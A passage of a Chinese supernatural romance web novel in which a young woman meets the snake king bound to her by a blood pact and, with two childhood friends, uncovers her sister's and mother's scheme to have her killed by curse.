看着,像是夜空里纷纷坠落的人间烟火…… 莫名,有几分浪漫。 青色巨蛇挺身立在烟花深处,绽放的磷光映亮他身上的锋利蛇甲,居高临下地垂首看着我…… 眸光愈渐温柔。 完了,我要完了。 大招都放完了! 神思慌乱间,我猛地又想起,口袋里还揣着李大叔给我的辟邪符。 不知道有没有用。 我心惊肉跳地朝上衣口袋伸手,打算把符拿出来,再试一次。 但,下一秒,青蛇大妖却预判了我的行为,平静提醒了我一句:“你身上的那些符,对本尊来说,没一张有用的,还是别费力气了。” 我掏符纸的动作一顿,额上冷汗又添了一层。 见我总算老实下来,蛇王才轻叹一声,身上银光一晃,庞大的蛇身便在眨眼间化成了一抹玉树临风、茕茕而立、丰神俊朗的年轻男人身形…… 化成人形的蛇王,肉眼看起来最多二十七八岁。 一袭青金丝线密绣祥云暗纹的古代深青广袖衣袍,腰封嵌着银龙佩饰,腰带下坠了一枚青凤玉佩。 月华般的皑皑银发散在肩后,长发未束,却一丝不乱。 长身玉立,身高至少有一米八五! 脚踏墨色云纹锦靴,风入广袖,掀得他墨青衣角晃动。 倏有朦胧月光寥寥洒落在男人一身沉沉青衣上,衬得男人衣上暗金光泽宛若一池零碎的夕阳,浮光跃金…… 男人肩宽腰窄,不但身材好,脸也是世间少有的清隽俊美。 剑眉上扬,丹凤双目,高鼻薄唇,棱角清晰。 眉心一抹朱红流烟状印记,似云,似火…… 尤其是那双幽青色的眸子,深沉时如万丈寒潭,温暖时,如揉碎一池熠熠月光的古井。 青眸银发,俊容古袍。 似仙,似妖。 我怔怔看着他的脸,突然记起来,我们好像不是第一次见面了。 前两次……都是在梦中! 现实中的俊美男人与记忆里的模糊轮廓重合,我总算想起,原来早在七天前,我去娘娘庙送莲花灯那一晚,我们就已经……见过了! 只是第一回我没瞧清他的脸,第二回,是在我被宋花枝的双生蛊所影响那晚。 他特意在梦中,让我睁开眼,看清他。 “是你……”我不可思议地后退两步,震惊瞪大眼睛盯着他。 “想起来了?” 他满意挑眉,抬脚走近我两步,看我没躲,方继续说道:“本尊不会吃你,你可是本尊的新娘,蛇类,没有吃伴侣的癖好。” “你就是蛇王……那,我去娘娘庙送灯那天,你难道,跟我一起回家了?”我错愕问他。 他目光深深地凝望着我,说: “那天你在娘娘庙,与本尊结了血契,准确说,你从那天开始,就已经是本尊的女人了。” “结血契?”我迷茫追问:“我什么时候和你结血契了,我怎么不知道?” 他平静提醒我:“你还记得,那天你在娘娘庙,被壁画上的青蛇鳞甲划破了手么?你的血,滴在了本尊身上。” “壁画……”我顿时想起来,那日,我的确摸了壁画上的大青蛇,还被蛇鳞割破了手指! 我的确看见自己的血染在了壁画上,可一转眼,壁画上的血迹就消失了。 我还以为是自己眼花看错了呢! “那、我昨晚嫁给你……” 他岂不是,一点也不意外? 事实,好像真的被我猜中了。 男人凝视我的目光突然柔和,从容启唇:“本尊,昨晚在等你。” 在等我…… 难怪,他昨晚会突然苏醒,按着我折腾个没完没了。 难怪,我在棺中看见他时,他身上也穿了件红色衣袍。 那衣裳,原来真是喜袍! 他昨晚,在等我嫁给他…… 我还是不敢相信他,低头颤颤向他道: “蛇王老爷,我、我嫁给你就是想借你的气运帮我消灾,我实在不想死在灰狐仙的手里,我嫁你就是一场意外,那个、血契能解吗?我不是故意要把血弄你身上的……” 他闻言,温柔的眸色霎时冷硬,不悦审问:“你不愿嫁给本尊?” 我听见他陡然阴沉的语气,吓得呼吸一滞,赶忙摆手,口是心非的忽悠: “不、不是,蛇王老爷你英明神武,高大帅气,我怎么会、不愿意嫁给你。我就是、清楚我配不上您,我是人,您是蛇、蛇王……我、” 不等我把话说完,我的腰就被男人猛地伸手箍住,之后手臂捞过我的身体,重重将我揽撞在他宽硬的胸膛上。 我被他突如其来的强势动作给吓得头皮发麻,一动不敢动,心跳乱的差点跃上了嗓门眼! 男人微微低头,薄唇贴近我耳畔,呵出的清凉吐息扫红了我的耳尖。 抬手按住我的脑袋,威胁的语气里,却掺满了丝丝暧昧。 “你既已嫁给本尊,这辈子,就是本尊的人,死了尸体也是!” “……” “昨晚,还同本尊如胶似漆,今天就想抛夫弃子?” 我老脸一烫,被惊得话都说不利索了:“我、我什么时候抛夫……” 他鼻音上扬,略表质疑:“嗯?” 我噎住。 虽然、我的确是抛夫了…… 但我是为了自保,情有可原! “我我我、我什么时候弃子了?!”我气急,但不敢胡乱动弹,生怕一个不小心惹怒他,他就低头咬我一口! 青色的蛇,应该是毒蛇吧。 他骨若修竹的大手,忽温柔抚至我的小腹。 我敏感的腹部一紧,大气都不敢出…… “你我在一起,也有几回了,本尊贡献了那么多力气,说不准,你的腹中已经有了本尊的子嗣……所以,阿鸾,别想逃。” 他指尖轻柔地抚摸,摸得我头皮都麻了。 我猛咽了口口水,欲哭无泪道:“蛇王老爷,我配不上你,我……” 他恢复清冷口吻:“本尊与你的婚事,是你外婆生前替你求来的。” “外婆?”我不禁挺直脊背,壮着胆子着急问下去:“我外婆知道你在我身边?” 他捉住我的右腕,幽冷眸光落在我无名指处那枚蛇瞳戒指上: “这枚戒指,是本尊的眼睛所化,亦可做本尊的藏身之处。你外婆把戒指交给你,就是希望本尊能替她保护你。” 我手上的蛇瞳戒指,是他的蛇瞳! 我惊讶地盯着戒指,半晌没说出话。 外婆竟然早就知道他的存在了,甚至为我,求他庇护…… 我打小就陪在外婆身边,她老人家护了我一辈子,就连死后,也放心不下我。 “外婆……”我不觉湿了眼眶,鼻头一酸,差点哭出声。 他见状,怔了怔,竟抬手按在了我的脑袋上,将我抱在了怀里,温柔抚慰。 “本尊不会吃了你……毕竟本尊留着你,还有用。” 缓了缓,又道:“别怕。” 他抱着我,在池塘头的风口无声陪伴了我好一会。 直到银杏打着手电筒抄近道往我家门口跑,他才放开我,沉声交代了几句: “本尊刚刚苏醒,神魂还未安稳,需要找个清静地打坐修养。” “本尊就栖身在你手上的蛇瞳戒指内,你有危险,本尊能感知到。” “需要本尊时,可以唤本尊出来相见,本尊听得到。” 我木讷地点头,红着眼眶:“好。” 他叮嘱完,最后摸了摸我的脑袋,化作一缕青烟钻进了我的戒指里。 他走后,我才感受着头顶他掌中余留的几分暖意,陷入怔愣。 这位蛇王老爷,好像……也不是那么凶残。 再回神,我赶紧叫住一头闯进我家院子的银杏:“银杏!我在这!” 我冲亮着门灯的孤院子招手。 过了两秒钟,银杏打着手电筒又从院子里跑了出来—— “镜镜!” 年轻小姑娘穿着一身藏蓝镶银花片的阴苗族服饰,窄袖长裙,一头乌发挽成两个小包子,发髻上系着暗蓝发带、簪着两簇银花蝴蝶发钗。 几股细长的麻花辫垂落胸前,腕上挂着两只素银镯子,两枚青玉叮当镯。 女孩样貌姣好,细眉大眼,高鼻朱唇,粉腮桃花面,琥珀色的眸子炯炯有神。 眼尾点缀着几枚拉长眼线的白珍珠、绘着一朵绯红五瓣桃花。 阴苗族的姑娘都擅装扮,银杏也爱美,但银杏却不用靠化妆提升颜值。 只需简单的素雅淡妆,便能将女孩修饰的肤如凝脂,面似芙蓉。 “镜镜,你怎么在外面,我还以为你在家呢!”银杏大步跑到我面前,气喘吁吁的拍着胸口。 我尴尬得垂头丧气:“我刚才在烧替身,但是没成,还把蛇王给引出来了。” “啊?”银杏惊叫一声,赶紧抓住我的胳膊把我从头到尾检查一遍:“那蛇王有没有伤害你?你有没有事!胳膊腿都还好吗?” 我不好意思的咳了咳,窝囊回答:“我没事,蛇王没有伤害我……蛇王说,他不会吃我,而且,他还让我有需要就喊他,他会保护我。” 银杏皱眉沉默片刻,揣摩道: “那条蛇王,对你这么好吗?看来我爸说得对,那蛇王和你有缘分,只会护着你,不会伤害你。但,他可是整个阴苗族闻风丧胆的青蛇大妖啊! 听说,他当年刚来苗域不到两个月,整个阴苗族就尸横遍野血流成河了。 后来是从天而降了一座娘娘庙,才将他镇在了神庙下的禁地里,连你母亲与外婆,都得每隔十年去检查一遍禁地的封印。 这次他出来,不会又要给阴苗族带来灭顶之灾吧?” 银杏这么一说,我也不禁担心了起来。 万一我真不小心放出了一个祸患……那我岂不是害了整个阴苗族! “蛇王说,他刚苏醒,神魂不稳还需要静修,暂时应该不会出来……杀人。” 我闷声说完,暗暗开始盘算还是得想个法子对付他,早做打算,如果他真是杀人不眨眼的魔头,一旦出事,我们也不至于措手不及。 银杏拧着细长柳叶眉安静一阵,烦躁挥手: “哎呀还是先不想这么多了,既然我爸都放心留他在你身边,短期内,他肯定不会给咱们带来麻烦。 当务之急,还是先对付你那个不知羞耻淫乱娘娘庙的姐姐吧!镜镜,你有没有想好,接下来咱们具体该怎么做?” 我回过神,问银杏:“宋花枝今晚上山了吗?” 银杏重重点头:“我和爸回家后,我就跑去你母亲家附近留心盯着你姐姐了,你姐姐半个小时前就出门往上山方向去了!” 我凝声喃喃:“她还真是贪得无厌。” 拉住银杏的手,我慎重道:“走,去找村长。” 第13章 把她榨死在床上 “村长?” 我颔首: “对,村长是村子里最憨厚正直的人,如果让村长亲眼目睹在娘娘庙里为非作歹的人到底是谁,那我就不用再多费口舌自证了。” 银杏听罢豁然开朗,激动赞同: “是啊!村里除了大祭司,就属老村长威望最高,让老村长给你做人证,这回看宋花枝怎么狡辩!” “那我们先去村长家!” “好。” 我与银杏达成共识,立即快步往村长家赶去。 可惜不碰巧,我们过去时,村长刚被亲戚喊去隔壁村喝夜酒。 来开门的是村长小儿子赵二哥。 乍一看见我,赵二哥顿时慌了神,拉着我就将我往他家屋后竹林里带…… 四处张望了一番,确定四下安全,小路上没人,才紧张兮兮地握住我肩膀,担忧问我: “鸾妹,你怎么回来了?没事吧?那只灰狐仙有没有把你怎么样!” 说着,懊恼低头,自责不已: “我早上想去拦下大祭司,阻止她们把你送上灰狐仙的花轿,可长老会那群人却把我和爸绑了起来,不许我们去救你! 鸾妹,都怪我无能,没办法救下你……你这是逃出来了?没有缺胳膊少腿……老天保佑,幸好你还能活着回来,不然我这辈子都不能原谅自己!” 赵二哥是我在村里唯一的男玩伴,他比我大三岁,我俩从小一起长大,算是青梅竹马。 从前我和银杏,还有赵二哥常在一起玩,他与我,用形影不离来形容都不过分。 只不过,这两年我们生疏了,上次见赵二哥,还是三月三祭娘娘那天。 至于为何会生疏,理由,也挺离谱的。 最开始,是银杏和他因为村里另一个女孩吵红了眼,明明是那个女孩先算计银杏,银杏只是以牙还牙,用同样的方法报复回去,就惹得赵二哥发了好大一通火。 银杏觉得赵二哥胳膊肘往外拐,没有明辨是非的脑子,别人装一装柔弱在他面前掉两滴眼泪,他就指着和自己有二十来年交情的发小鼻子骂,实在太没底线。 打那以后就和赵二哥进入了冷战状态,至今两人还没和好。 而我和赵二哥疏远,是因为两年前,隔壁村有户人家看上了我,想把我娶回去当媳妇。 对方要来我家提亲的消息不知怎么的就提前传来了月阴村,闹得村里人尽皆知。 赵二哥那会子竟也脑子抽风,一听有人要娶我就拉着老村长抢先一步来我家找外婆说媒。 他说,他想娶我…… 外婆原本就不打算同意外村那户人家的提亲,见赵二哥主动来我家说亲,又想着我和赵二哥从小一起长大,赵家在村里知根知底,赵村长还是个耿直公正之人。 我如果嫁给赵二哥,进了赵家家门,肯定要比在别人家过得自在顺遂。 于是,外婆就应允了赵家的提亲。 但从小到大我都只把赵二哥当成一起玩闹的兄长,对他根本没有男女之间的感情。 突然要我嫁给赵二哥,我根本接受不了。 我求外婆别让我嫁人,别赶我走,外婆再三确认我对赵二哥没有男女之情后,为了我的未来着想,就同赵家商量,说要把我的姻缘交给上苍选择。 外婆给赵二哥设下了三关考核,三关考核顺利通过,就证明我和赵二哥有缘,是天定的伴侣。 若是三关考核没通过,就证明,我与赵二哥有缘无分,我们的婚事,上苍并不看好。 赵二哥起初还信心满满地放话,说自己一定会为了我顺利通过外婆与上天的考验。 外婆也对赵二哥颇为欣赏,没有多犹豫,当天就点香开启了三关考验。 前两关赵二哥过得又快又顺,可到了第三关,外婆为了检验他对我的真心,直接将我踹进了毒蛇蛇窝…… 结果是……他被毒蛇咬了一口,外婆吓唬他,说中了蛇毒半个小时内不出来解毒,就会毒发,暴毙而亡。 他看着被困在蛇群深处的我,连连后退了好几步,犹豫了二十分钟不敢往前…… 然后,哭着扭头跑出了蛇林,把我一个人丢在了蛇窝里。 也是从那天开始,他不再主动约我出去玩了,我也没去找过他。 虽说再碰面还是会说话,但我们之间,还是有了一层无法溶解的隔阂。 “我没事,赵二哥。” 我认真回答,张嘴还要说点别的,却被银杏没好气地打断: “说得好听,你要是真在意镜镜,镜镜被村民送上山后大祭司她们把你放了,也没见你跑上山追镜镜!现在镜镜安然无恙回来了,你又在这装什么痴情男。” “你!” 赵二哥面红耳赤地生气反驳: “谁说我没上山追镜镜?我是被我妈拦下来了,我妈把我关在家里一整天,威胁我敢迈出家门一步就上吊死给我看!我也是刚刚才重获自由!” 银杏双臂抱胸嗤之以鼻:“嘁,嘴上说得好听!” 眼见银杏和赵二哥又要吵起来,我忙疾声打断:“好了赵二哥,你们先别吵……我今晚来找村长大叔还有正事。” 赵二哥不耐烦地瞪了银杏一眼,随即问我:“着急吗?我爸刚走没多久,六堂叔找他喝夜酒,他最快也要夜里十二点才能回来。” “夜里十二点?”我失望低喃:“那恐怕来不及了。” “什么来不及了?” 赵二哥不放心地握着我肩膀追问,目光真挚道: “你今晚突然来找我爸,是不是有什么紧要事?你和我说也是一样的!你是不是想求我爸救你? 这样,你从今天开始就住在我家,我爸是村长,大祭司平日里还是会给我爸三分薄面的!” “和你说?”我犹豫昂头,与他清澈认真的目光相接。 能信他吗? 银杏嫌弃反呛:“住你家,谁稀罕啊!和你说有用吗?你会相信镜镜吗?” 赵二哥想都没想就一口答道:“我当然相信鸾妹!再怎么说我们三个也是从小一起长大。” 银杏趁机又道:“那如果我告诉你,镜镜没有和山里那些野仙家在一起,在娘娘庙干坏事害人的凶手另有其人,你信吗?” 赵二哥依旧不假思索地答复:“我信!” 我惊讶凝视着他,他说他相信? 赵二哥,还是从前的赵二哥吗。 赵二哥握着我的肩膀坚定与我说: “鸾妹你是什么脾气,我一清二楚!你根本不是那种生性浪荡的女孩,这其中肯定有阴谋,到底是谁想害你,鸾妹你自己有怀疑对象吗?” 我沉默片刻,抓紧双手,选择再赌一次! “如果我说,害我的人就是我姐姐宋花枝,你信我吗?” 听见宋花枝的名字,赵二哥也狠狠怔了下。 随即攥紧我的肩呼吸急促道:“有证据吗?我能帮你点什么吗?” 银杏斜眼觑他:“你不怀疑?” 赵二哥仗义道: “只要是鸾妹说的,我都相信。何况,别人不了解宋花枝和鸾妹的情况,我还能不了解吗?宋花枝打小就爱欺负鸾妹,她整天打扮得花枝招展,的确更像勾引妖孽的祸害。” 既然他都这么说了,我和银杏相视一眼,立马互通心思。 银杏二话没说一把拽住他的胳膊:“村长大叔不在家,你去也一样!” 赵二哥被银杏拽得一头雾水,“这么晚了,你要带我去哪?” “去娘娘庙,带你看真相!” 入夜的娘娘庙,依旧烛光通明,神殿香火鼎盛。 山里气温低,甫一踏入娘娘庙的高大山门,一股阴寒气息便扑面扫来,凉意钻进人的骨缝里,吹得人全身骨头又酸又疼。 可能是因为今天天阴的缘故,夜晚的娘娘庙外,阴风阵阵,遍地薄雾袅袅。 娘娘庙建在半山腰,今晚的氛围,却好似不在人间。 檐下红纱灯笼被风吹得来回摇晃。 我们刚绕过娘娘庙正殿前方插满香火的通鼎,萧瑟夜风里就卷来了两张瘆人的黄纸。 黄纸落地,哗哗啦啦地被风吹到我们脚尖。 银杏紧张发怵地搓了搓手臂,往旁边跳开一步,避过黄纸,眉心拧成一团抱怨道:“庙里哪来的冥纸,大半夜的真是晦气。” 赵二哥倒是冷静,“过几日,就四月二十六了。族里要挑选长生玉女献祭长生泉,这些冥纸,都是往年的长生玉女家人烧的。” “哦对,四月二十六是族里的大日子,我怎么把这个事忘了。”银杏拍拍脑袋恍然大悟,“不过,前几年也没见那些玉女的家人在这时候来娘娘庙烧纸啊。” 赵二哥淡淡解释: “那是因为,最近半年,长生神殿那边都不大太平。住在长生神殿附近的村民总是会在半夜看见身穿红衣,头戴凤冠的长生玉女亡魂游荡在长生神殿附近。 而且前两天,有不少已故长生玉女的家人都梦见自家女儿七窍流血地哭着站在自己跟前,祈求自己救命。 玉女们的家属去问过大祭司,大祭司说,是玉女的魂魄被束缚在长生神殿中供养长生泉,不得自由,所以才会向家人求救。 那些玉女本就是族中挑给圣女做侍婢的,只需死后帮阴苗族看守长生泉,就能保族人饮用泉水,延年益寿。 大祭司让玉女的家属们为我们整个阴苗族考虑,不要放纵自家女儿使小性子。 这不,最近那些家属都结伴来娘娘庙给自己亡故的女儿烧纸烧元宝,就是希望她们能安分点,老实为我们阴苗族看守长生泉。” 银杏思纣道: “往年的长生玉女,都是从当年亡故的年轻未婚女子中挑选的,还有一些,是犯了族规,被罚入长生神殿做玉女的…… 大祭司说是命那些玉女净化看守长生泉,细算下来,为长生神殿挑选长生玉女的习俗,已经持续十八年了,今年的玉女,是第十八位。 对了,你有从村长大叔那里听说,今年的长生玉女,是哪家亡故的姑娘吗?” “今年的长生玉女,可能是李娟儿。”赵二哥眸中黯了黯,话里有话地又压低声补充了句:“也可能不是。暂时,还没确定。” 银杏疑惑追问:“李娟儿?李瞎子的闺女?前一阵子是听说她生病了,但她现在不是还活着吗!” 赵二哥面无表情,“现在活着,过几天可就不一定了。” 银杏:“啊?” 刚踏足进娘娘庙后院,我就闻见了那股熟悉的腥臭气息。 银杏一如既往地没察觉,直到赵二哥面颊潮红,步伐踉跄,鼻尖溢出一丝意味不明的低吟,银杏才察觉到事情不对劲,迅速解下腰间的小熊水壶,一壶茶水全泼赵二哥脸上了! 得亏她提前准备了水,赵二哥被她勉强泼醒后,她又从斜跨在腰间的小包里掏出一张普通医用口罩及一张N95口罩,把两张口罩叠戴在赵二哥脸上,这才让赵二哥得以保持清醒。 朦胧月色里,赵二哥在银杏的指引下,走到空殿的雕花窗前,看清殿内那一幕,顿时瞪大双眼。 丝丝血色攀上赵二哥的眼球。 偏殿外依旧绽放着妖异的桃花,笼罩在神殿上方的粉雾比我上一夜过来时,还要浓重! 殿里传出女子妩媚的呻吟声。 女子笑语婉转,喘息连连,偶尔,还伴随着有节奏的闷哼—— “黄大哥,别这么心急嘛……长夜漫漫,咱们有的是时间。” 里面的野仙也发出粗犷男人嗓音,边喘粗气,边尽兴嗔怪: “小妖精,敢在狐王眼皮子底下勾引本仙,你就不怕他知道了,把你千刀万剐?” 女人闻言娇笑,伏在野仙身上撒娇嘟囔:“让我先坐起来,腿麻了,我们换个姿势……” 然后道: “我才不怕呢!母亲给我和那个小贱种下了双生蛊,我身上的气息,已经被转移到那个小贱种身上了。 狐王,会将那个小贱种认成我,再把她、榨死在床上。” 第14章 蛇王大人占有欲真强 “呵,你以为狐王是你之前伺候的那些仙爷吗?这么好糊弄,被你这个小妖精耍得团团转。 他可是有千年道行的野狐仙,你母亲那点雕虫小技,在他眼前,连障眼法都算不上。 你等着吧,那老狐狸好色重欲,等他榨死你那个冤大头妹妹,肯定还会回来收拾你!” “哎呀,你别捏我!没轻没重的痛死了。” 女人娇羞轻怪,笑着显摆道: “回来就回来呗,反正我能伺候他,他可舍不得弄死我,毕竟,我可是他这辈子,尝过的,味道最好的女人。可别小瞧了我的手段,我有的是办法让他对我欲罢不能。” “既然你有信心拿捏他,还整这么一出干什么?直接嫁给他,不就成了?耍他的后果,你这个小妖精可承担不起。” “我什么时候耍他了?我想嫁给他啊,是我妹妹听说嫁给他,就能跟着他享受世间极乐,所以才自作主张,代我替嫁。再说,双生蛊又不是我下的。” “你这个没良心的小东西……” 里面的人还在酣畅淋漓地喘着粗气,女人颤颤道: “谁让他,把事情闹得人尽皆知,我可是圣女,我的身份,不容一丁点污迹…… 人人都知道我和你们睡了,知道那些男人的精气是我吸噬的,本圣女以后,还怎么在族人面前抬得起头。 本圣女可是神娘娘转世,本圣女是做不出这种纵欲之事的,所以,淫乱的人,只能是与我相貌相似,气息相仿的宋鸾镜。” “不错,够坏,爷喜欢!” 殿内咚的一声,两人倒在了床上,战况激烈。 灯影下的赵二哥看得两眼猩红,不自觉喉头滚动,咽了口口水。 额角还挂着一滴汗珠。 银杏瞧着他此刻的反应,嫌恶的一把将他扯进了竹林里。 等他脑子清醒了,银杏才压低声没好气道: “看见了吧,真正吸男人精气,和野仙苟合的人是宋花枝,根本不是镜镜。大祭司是为了保护宋花枝才将镜镜当做替死鬼推出去背锅的!” 赵二哥反应迟钝地昂头,迎上我探究的目光,不自觉绷紧身体,连忙道: “我看见了!鸾妹你放心,回去我就把真相告诉爸,明天我一定还你一个公道!” 但,想要揭穿真相,光凭他一个人证,还不够。 不过,现在他愿意相信我,还愿意给我作证,就已经足够了。 我们在竹林里没站几分钟,我母亲宋淑贞的身影就出现在了娘娘庙后院的花园里! 我赶紧抓住赵二哥的手腕,扯着他躲进巨石假山后。 殿内的宋花枝还没完事,母亲就站在殿外灯笼光影下,手里捻着檀木珠,静静候着。 银杏惶恐捂住鼻息,用着仅我们三人能听见的声音紧张问:“她怎么来了?” 我摇摇头。 赵二哥看见母亲的身影,许是太过紧张,连咽了好几口口水。 我胆战心惊躲在暗处,唯恐制造出动静被外面的人发现。 赵二哥不自在地后退一步,手一松,突然掉下一串东西。 好在银杏眼疾手快地及时弯腰,抬掌稳稳接住了他掉下的物件。 这才让我们顺利逃过一劫。 银杏抓着东西往赵二哥怀里一塞,是串钥匙。 不悦的翻了赵二哥一个白眼,用口型朝赵二哥无声道:“废物。” 赵二哥心虚的避开视线,把钥匙重新塞回兜里。 看来赵二哥还是平日太老实了,干不得这种偷鸡摸狗的事。 忽有一阵阴风扫面,吹得我一个激灵。 下一秒,却有一道深沉磁性的声音在我耳边缓缓响起—— “你真觉得,他可信?” 我一愣,顿时心跳漏了一拍,惊讶转头看向走神的赵二哥。 蛇王老爷突然这么提醒我,是什么意思? “还有,阿鸾……把你、他的脏手撒开!” 这句话不似先前那样平静深沉,竟带着几分不悦吃醋的小情绪…… 我被吓得身子一僵,赶忙松开赵二哥的手腕,把爪子背在身后。 这个蛇王大人…… 占有欲真强! 大约又过了二十分钟,殿内那偷情苟且的一人一仙才终于完事。 一只一米多高的黄毛动物从殿内大摇大摆的慢悠悠迈出来,像人一般直立行走。 路过母亲跟前,母亲还低头向他无声表示恭敬。 原来是一条黄鼠狼,黄大仙…… 不久,宋花枝也穿着抹胸短裤,身上披着一层淡黄薄纱走了出来。 母亲见到宋花枝,寒着脸责备:“你也太胆大了,灰狐大仙的花轿今天才送上九黎山,你就敢来娘娘庙继续和其他野仙放纵!” 宋花枝闻言,立马凑过去抱住母亲胳膊撒娇: “妈,你怕什么啊,我了解那条狐狸,他没有一夜,是不会放过宋鸾镜的。说不准现在正和宋鸾镜,翻云覆雨,颠鸾倒凤呢,才顾不得我呢。” “可你每每与人水乳相交,身上就会散发媚香,就算灰狐仙没闻见这香味,村里那些男人也能闻到! 要不是我在路上拦住了上山的男人,你今晚又要给我惹事! 宋鸾镜才刚送走,村子里就又死人,你这不是在给宋鸾镜洗脱罪名吗? 妈让你忍一段时间,你偏不听话。” 母亲的表情严肃,语气却不自觉柔软下来,一字一句,宠溺怜惜。 我愣愣望着母亲渐渐温和的眉眼,心底一时五味杂陈。 原来,外人面前不苟言笑,严肃冷漠的大祭司,也会有温柔耐心的一面。 宋花枝噘嘴卖乖: “哎呀妈,你也知道,我现在这情况,停不下来。 而且妈你不是说了吗,等宋鸾镜死了,圣女气运就会全部回到我体内,我就能控制住身上的香气了。 宋鸾镜撑不到多久的,最多两天,宋鸾镜就会被灰狐仙榨死在床上!” 圣女气运…… 我当真分了她的气运吗? 我暗暗抠住身后凸起的石面。 母亲昂头深吸一口气,“对!只要宋鸾镜死了,圣女气运就会进入你的体内,就再也没有人,能挡我枝儿的路了!” “原本,早在四月十四那天,宋鸾镜就该死了。” “你和宋鸾镜刚出生,妈就给宋鸾镜下了绝命蛊,此蛊是妈的心头血所炼,除了妈,就算你外婆也无法可解。” “妈让宋鸾镜多活这二十二年,为得就是利用她的纯洁圣体给你蕴养圣女气运,如今她体内气运已充盈成熟,她作为帮你蕴养气运的容器,也该功成身退了。” “可惜,是你外婆逆天而行,也不知道用了什么法子,竟能拿鬼符以命换命,化解掉了她体内的绝命蛊。” “既然绝命蛊弄不死她,妈就只能用双生蛊,借灰狐仙的手除掉她了!” 绝命蛊,以命换命?! 我的脑子里霎时落下一道惊雷轰鸣,意外的绷直身体,十指狠狠扣着粗糙坚硬的石面。 鼻头一酸,双目滚烫! 原来,我阳寿已尽是因为母亲给我下了绝命蛊。 外婆解不了我的蛊,只能用鬼符以命换命…… 如果当初我没有被亲生母亲下蛊,外婆就不会死了。 是我害死了外婆,也是母亲害死了外婆! 我紧绷着身体,越想越觉得心痛如绞,肩膀颤得厉害。 眼泪不争气地滑下脸颊。 一个母亲,怎么能,这样盼着自己的孩子去死呢! 我不求她能将给予宋花枝的母爱分给我一丝丝,只求我们母女这辈子各自安好。 可她,竟为了成就宋花枝,连一条活路都不肯留给我。 银杏不放心的牵住我手,心疼问道:“镜镜,你没事吧?” 赵二哥也担忧瞧向我。 我抬袖子擦掉脸上的泪水,摇头假装坚强:“我没事。” 既然她们没把我当成骨肉至亲,那从今往后,我也不会再将她们认作母亲与姐姐了。 人不犯我我不犯人,人若犯我,我得自保! 凌晨一点,我们顺利离开娘娘庙,下山回了家。 村长家在村北边,我和银杏家则在村南头。 赵二哥魂不守舍地行至山脚岔路口,笑意勉强的与我们道了别,踏上了回北边的路。 银杏挽着我的胳膊,回头瞧了眼赵二哥渐行渐远的背影,狐疑道:“你说,赵二敢帮我们作证吗?” 我与银杏,甚至赵二哥本人都一清二楚,一旦挑破真相,就是在和大祭司作对,严重点……还可能被全族人唾弃围攻,沦为众矢之的。 赵二哥只是村长的儿子,今晚亲眼见到真相的人终究不是耿直公正的老村长。 我抿了抿唇,心情沉重道:“只能赌了。” 拿我们从小一起长大的二十年友情赌! 银杏安静片刻,忽从腰带布袋里掏出手机,睿智道:“没关系!就算他认怂反悔也没事,刚才我偷偷留了一手,拍下了黄大仙与宋花枝从神殿里出来,与大祭司碰面的那一幕!” 我震惊看向银杏:“你竟然带手机了!” 第15章 阿鸾,你想过河拆桥? 银杏傲娇地抬了抬下巴: “嗯哼,现在都什么时代了,手机平板笔记本这些电子产品都普及了,要善于利用高科技。虽然山里信号不好,可录像拍照功能不需要网络。 你以后也要常把手机带在身边,这样方便我随时联系你,而且万一遇见什么事,你也能第一时间打电话求救。” 我点点头,无奈道: “山里网络实在太差了,只有晴天才能刷视频不卡顿,近来都是阴雨天,网络信号格外差,我下午连给你发信息都费劲,加上我害怕上山把手机弄丢了,就没有贴身携带。” 银杏一本正经道: “阴苗族不愿与外界接触,又住在深山老林里,电网与信号塔能建过来就已经不错了。 而且,山里仙家精怪多,他们的存在会影响附近的磁场,还会导致网络信号差。 晴天有太阳,阳气重,当然就信号好点。我爸当年也不知道怎么想的,竟选这个地方落脚。” 阴苗族住在三千里苗域最深处,八寨十三村皆依山而居。 一座座高耸入云的大山将阴苗族的十三个村落严实包裹其中,像是形成了一个天然的牢笼。 外面的人只知世间有阳苗,不知阴苗的存在。 随着近些年网络信息传播得快,苗族逐渐被外面的人熟知,不少大城市的年轻人都慕名前来苗域探险旅游,却鲜少有人,能走进苗域深处,踏入我们阴苗族。 听村里的老人家说,李大叔是在二十五年前来阴苗族的,那时他才刚满二十岁。 本该意气风发的年纪,李大叔却满身是血地摔倒在月阴村村口。 是我母亲、曾经的阴苗族圣女宋淑贞救下了他。 自那以后,李大叔就在月阴村落了户。 只是李大叔被宋淑贞救下一条命,侥幸活下来后,就成天死气沉沉,双目无光,脸上瞧不出半丝笑色。 村里人都觉得他是在外面受了什么打击,才变成那副半死不活的模样。 是年轻的大祭司日复一日的陪伴与照顾,方让李大叔重拾活下去的信念。 也是那会子,族人们才知道,李大叔原来是外面的玄门弟子。 据说是年轻气盛在外得罪了人,导致对方趁他不备,一夜之间杀了他全家,而他自己也在极度悲伤中被仇家钻了空子,打成重伤,还没了一身道行。 为了躲避仇家的追杀,这才误打误撞闯进了我们月阴村。 年轻时的李大叔,和我母亲宋淑贞还有过一段孽缘。 当年是宋淑贞陪李大叔熬过了人生中最艰难痛苦的那段时光,后来两人日久生情越走越近,都到了谈婚论嫁的地步。 奈何阴苗族有族规,族中女子不可与外族通婚,更何况宋淑贞还是阴苗族的圣女,她要嫁给李大叔,族人们是坚决不会同意的。 彼时宋淑贞对李大叔用情至深,为了求外婆答应她们的婚事,在外婆门前跪了整整三天。 而李大叔也舍不得放开宋淑贞的手,为堵住族人们的嘴,李大叔自愿放弃外族身份,承受阴苗族的上刀山下火海挨荆条褪凡骨四关考验,只为能获得阴苗族新族人的身份,与宋淑贞长相厮守。 四关过后,李大叔已经没了半条命,外婆见李大叔对宋淑贞确实情真意切,也松口应允了两人的婚事。 可造化弄人,李大叔最后还是没能和宋淑贞走到一块去。 两人大婚前五天,李大叔收到故人书信暂时离开了阴苗族,回来后,宋淑贞就突然悔婚,取消了他们的婚礼。 没人知道当年李大叔与宋淑贞之间到底发生了什么事。 只晓得,宋淑贞在一个月后,就嫁给了我老实憨厚的父亲。 又过半年,李大叔从外面抱回了一个会哭会笑的小女娃。 两人因此,彻底反目成仇。 宋淑贞每每见到李大叔就一脸怨气,而李大叔也不肯再多看宋淑贞一眼。 怪的是,李大叔与宋淑贞闹成了一对仇家,却依旧对我外婆敬重有加。 也从没因为我是宋淑贞的女儿就厌恶我。 反而允许银杏和我一起玩……把我看做半个闺女。 记得小时候,村里人都说我是被大祭司抛弃的扫把星,银杏则是李大叔在外面养得相好生的野种。 我们俩在外挨村里长舌妇骂时,是李大叔把我们护在身后,寒着脸一字一句认真道: 